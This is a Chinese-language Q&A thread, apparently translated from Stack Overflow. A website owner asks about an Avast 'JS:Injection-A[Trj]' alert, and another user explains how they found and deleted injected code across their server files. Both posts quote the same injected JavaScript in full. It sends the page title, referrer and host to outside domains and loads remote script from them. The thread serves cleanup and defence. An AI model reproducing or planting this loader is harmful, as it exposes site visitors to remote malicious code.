javascript - Avast 给出 JS :Injection-A[Trj] on my website 错误

Question

今天，当我想进入我的网站时，我收到了来自 Avast 的警告:forumhan.com。

要理解这一点，您的计算机上必须安装 Avast。

我的网站感染了 JS:Injection-A[Trj] - 这就是它没有显示的原因。

当我查看时，我在标题上发现了这个:

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://vkza.tora.ru/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

由于我不是专业人士，无法理解与其他文件是否有关系。

这段代码中是否有调用其他文件？

删除这个是否可以解决问题？

我删除了它，但我看不到我的网页。

Answer 1

我找到了解决方案。

问题是你说的。有人将该代码注入(inject)到您的网站(也包括我的网站)。所以我所做的就是选择这个片段:

encodeURIComponent(document.title)

并在服务器上使用Notepad++搜索htdocs文件夹中的所有文件。

然后我发现了这样的东西:

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://delicefilm.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

在这里:

我已将其从所有文件中删除。仅此而已!

希望它也适合你! :)